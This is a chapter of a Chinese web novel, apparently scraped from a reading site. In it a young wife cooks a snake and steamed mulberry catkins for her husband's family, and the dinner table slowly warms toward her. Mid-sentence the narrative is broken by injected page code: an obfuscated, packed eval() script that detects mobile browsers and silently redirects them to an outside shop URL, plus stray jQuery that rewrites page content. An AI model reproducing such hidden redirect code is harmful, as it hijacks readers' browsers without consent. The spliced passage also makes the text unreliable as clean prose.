徐晔这时也进来,不仅如此,他还带来了一样东西。
原来正是那条已经被徐翊提前处理过的长虫,之前要取胆取脂,徐晔又讲了儿媳妇要料理,眼下更是只剩蛇肉了,倒省得丁宝珠去做。
那条没有毒性的蛇长得比手臂还要长些,丁宝珠见到便笑起来,道:
“这条蛇长,我就把它斩了,然后做个一蛇两吃怎么样?”
“你看着做就行。”徐晔递过那一整条蛇来,“先前我们也是捉到过没毒的草蛇回来的,只是煮了吃也不咋好吃,后来干脆不吃了,你要是能做得好吃,也是你厉害。”
“那你就去等着好了,瞧瞧我能有多厉害。”
徐晔出了灶房,丁宝珠就挥刀将那条蛇先给斩了一半,并且都切成了大小均匀的段儿。她准备一半做炸肉段,一半则是与山笋一起炖汤。
即使是徐家,灶房里也有两个灶头。丁宝珠在灶膛里生了火,先把蛇肉焯水,撇开沫子,再盛出洗净,接着切了姜片蒜瓣下锅爆香,继而放入蛇肉和山笋,炒过后再加水和一些酒去腥,就能开始熬了。
另一个炸蛇段更简单,蛇肉用新买来的各种调料腌制后,表面再裹上细粉烧油炸,直炸得表面金黄才捞起,甚至还要再复炸一遍。
灶房里很快就弥漫起满满的热气和香味,这多了后,又溢出到院子里,院子里又飘出了门外。
但徐家为了方便上山,家就住在偏僻的山脚下,而其他村民还是习惯群居,这导致徐家的附近竟然没什么邻居,四处飘散的气味也就仍是环绕在原点了。
而住在自家的徐莹徐芝在意犹未尽地吃完糖果子后,就在屋中练着针黹,嗅到那香味后讶异道:
“大哥大嫂去镇上难道还买了肉?咋能这么香?”
李银屏哼了一声,只是说道:“谁知道你们大嫂使了啥法子,让你们大哥甘愿买那么多东西回来,你们就等着吃吧!”
徐莹抱怨道:“娘,你就不能少说点么?大哥娶了大嫂回来,难不成还能休了她不成?依我看,那村里的闲言碎语估计也不能全信,不然她还能忍到现在?”
李银屏在她脑壳上戳了她一下,不悦道:
“她才进来多久?你就向着她了?吃人嘴短!”
徐芝也在一旁道:“娘,你看不惯大嫂,不理她不就成了?还有她给你做吃食,以后也不用你早早去给爹和大哥带饭了,还不好?”
李银屏撇了撇嘴,最后只好说:
“行了,姑娘家家的,管这些做啥,还不赶紧接着拿针?”
锅里咕噜噜响动着,时间一转而过,徐晔抱着黑虎抚着狗头,抬眼见大红大紫的黄昏沉静,院里的一切好像都覆上了一层温暖的金色。
而怀里的黑虎自然早就嗅到了那浓郁的香味,不停地吐着舌头,就差没再流下一串琉璃吊坠了。
徐晔轻拍了拍它的脑袋,小声道:
“没出息。”
黑虎呜呜了几声,但那香味的确是一时半会儿都散不掉的。
就在这时,灶房门口出现了丁宝珠的身影,朝他挥了挥手喊道:
“徐晔,你把桌椅摆上,马上就能吃饭了!”
徐晔手一松也站起来,答应了,除开午食凑不齐人,早食晚食时都有这个前置的事情。
可在这种场景里,他蓦然有了一种恬静的感觉——娶了媳妇儿就是要过一辈子的,以丁宝珠往昔的威名,他始终不觉得能持续一世,可现在却有了种能够平平淡淡继续过日子的滋味。
听到外面在摆饭桌的声音,徐莹徐芝和李银屏也出来了。丁宝珠就从灶房端了盘碗碟筷,放了一桌子。
李银屏朝门外瞅了瞅,对徐晔嘱咐道:
“晔儿,你去外面瞧瞧你爹回来没。”
徐晔应了,转身就去,丁宝珠则是一来一回地端着菜。
李银屏发现桌上没有饭盆,也没有饼子,不禁问道:
“晔儿媳妇,饭呢?你没做?”
丁宝珠回答道:“姨母,我做了蒸面菜,可以当主食吃的,到时你尝尝。”
徐莹徐芝顺势一看,只见旁边有一大盘白绿白绿的条状物,配一小碗深色蘸料。徐莹想到什么,不可置信地问:
“大嫂,这东西难道是那个毛毛虫?”
丁宝珠笑道:“是啊,你们也尝尝,看看合不合口味。”
这是她做的最后一道菜,把那冲洗干净的构树穗也焯了水去苦味,晾干后再裹上混合过后的荞麦面粉,让每一根树穗都裹上一层厚厚的面衣再上锅蒸。
蒸构树穗的时间不易太长,否则那口感就会变老,所以丁宝珠才选择最后做。
只是光这样做,那味道也太简单了些,于是她还特意调了一碗蒜末调料。
另外还有那盘炸蛇段,只是被彻头彻尾地处理又料理过,它看上去和黄鳝什么的没啥区别。
看丁宝珠把中间空出来一块儿,徐莹又问:
“大嫂,还有菜没端吗?”
“嗯,还有一道汤呢,只是爹还没回来,就再炖一炖,能更鲜。”
徐翊作为一家之主,他不动筷,其他人都是不能动筷的,只能继续等着。
好在徐翊徐晔很快就回来了,放下农具,又擦了把脸上桌来,李银屏问道:
“当家的,今天咋晚回来了?”
“嗐,也没啥,就是回来时路过那丁家,和老丁聊了几句罢了。”徐翊说着,又有意无意地对徐晔笑道,“明儿就是回门礼了,老丁都已经把宴席都预备好了,就等迎女婿了呢。”
徐晔微微垂头不语,徐翊忽然发现那另一个主角不在,问道:
“儿媳妇呢?咋没上桌?”
李银屏正想开口,丁宝珠却已经一边过来,一边插嘴说:
“爹,我去端菜了,这就来。”
她用抹布拿着汤碗,来到桌前就置在了中间那空处,又道:
“我还熬了汤,最后才上的——爹刚刚在说什么呢?”
徐翊一瞧那热气腾腾的清澈汤水,又见那炸的金黄的肉排,就知道丁宝珠是料理了那条蛇,便笑着重新给她讲了丁家的事儿,又叮嘱道:
“今晚你们早些睡,明天一大早就要回门的。”
丁宝珠和徐晔答应了,接着大家就一齐动筷。
那裹上面粉的构树穗吃起来绵柔软糯,有着一股自然的清香,再蘸上那料汁,更是回味无穷。徐翊吃着吃着,不由得说道:
“这东西感觉也能炸着吃,就像吃炸小鱼儿那样,就适合下酒了。”
徐莹笑道:
“爹这是想喝酒了,上次还是去大嫂家里才喝到的。”
丁宝珠也笑道:“既然爹想喝了,我做的那酒曲方才去看过,已经开始发酵了,我又买了糯米,到时咱家就能喝上自酿的米酒了。”
徐翊想起了什么,点点头道:“那正好,过段日子恰好是需要酒水的时候,也不用再去特意买了。”
徐晔听到这,手里的筷尖顿了一顿,没有出声。
徐芝夹了块儿蛇肉段吃,毕竟年纪小的都爱那油炸之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340015|140265||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
物。那表皮是焦脆焦脆的,本就有一抹香味,里面的肉却是细腻紧致,仿佛能把牙齿也给弹了一般,不禁欣悦道:
“这个好吃!爹,娘,大哥,你们再不吃,我就要继续吃了!”
几人半信半疑地夹了吃,纷纷眼前一亮,徐莹问道:
“这是啥肉?吃着倒像是炸鸡崽子炸鸟儿似的,大哥大嫂去买了肉吗?”
丁宝珠笑道:“这不用去买,是你大哥在山上捕的蛇,我给做了。”
徐莹“啊”了一声,那筷尖儿都差点松开来了,结结巴巴道:“啥……?这竟然是长虫?这……”
她怕蛇,只是以前徐翊徐晔捉回来也尝试烹过,但她当时就没吃,后来家里再也没有做过了,没想到竟被大嫂做了这次。
最重要的是,咋能这样好吃?!
丁宝珠看出来了,便劝道:
“莹儿怕就算了,不吃那肉,可以喝点汤,这汤可鲜亮了呢。”
其实那旁边的徐芝听见自己吃得津津有味的竟然是蛇肉后也停下了,可很快又再次吃起来——还是美味最要紧,反正这蛇肉吃起来和鸡肉也没啥区别!
徐莹不好意思起来,这一大桌子菜都是大嫂辛苦做的,她怎么能因为害怕就撂筷不吃呢?何况这菜实在是太香了,香到她慢慢地大概也能克服那恐惧,所以最后,她仍是小心地继续吃。
徐晔在一旁舀了一碗汤给徐翊,说道:“爹,你喝。”
“诶,这么大一碗,你们都喝。”
徐翊答着,饮了口已经少许冷却的汤水,只觉得格外鲜美,不知那蛇肉到底能不能吊鲜,可那山笋却是正经的鲜美之物,在汤里已切成了薄片。整道汤虽是清淡,那味道却是不腥,又是大补的,所以喝下后,只觉得浑身都暖融融的。
汤里也有几块蛇肉,这下比起那炸蛇肉段儿更能看出模样了,好在在处理蛇的时候将那蛇皮也给剥了,只剩白嫩嫩的肉。丁宝珠吃了一块,那又细又紧的口感与田鸡相似。
就连那李银屏也彻底闭了嘴埋头吃着,而徐晔也多喝了两碗蛇羹,忽然觉得是时候可以再寻机会去捕蛇了。
从惊蛰后,长虫就开始苏醒、频出,并且长得愈发肥了,既然已经和那胭脂水粉铺子的老板说好了,那他完全能多去捉蛇熬蛇油,不比卖鸟儿赚得多?
吃着吃着,就又是一场光盘行动,徐莹徐芝摸着自己吃饱的小肚子,感觉很少有这样餍足的时候,还主动帮忙去洗了碗筷。
村里人吃过饭没多久就要睡下了,丁宝珠想着明天要起个大早,也准备提早睡了,谁知她才躺在床上,那徐晔这时却推门进来,不仅如此,他还多提了一桶热水。
两人大眼瞪小眼了一会儿,一起开口道:
“你今天又去烧热水了啊?”
“你今天不洗澡吗?”
沉默,仿佛是今夜的弯月。
丁宝珠搔搔脑袋,她既然到了这里,当然不能再期望能有穿越前的条件,而且自己也都想明白了,再说连续烧热水要是被李银屏发现,那还不得被蛐蛐死?
可没想到的是,徐晔竟然主动去给自己烧了热水!
她思索片刻,先出声道:
“这热水烧了也别浪费了,要不……咱们分了,然后泡脚吧?”
打破了尴尬,徐晔就坡下驴,提着水桶就进了屋。
不得不说,把双脚泡得热乎乎地再躺下,果然能睡得更安稳香甜,他们很快就睡着了。
只是丁宝珠发现,那徐晔,似乎还是不敢看到自己的脚……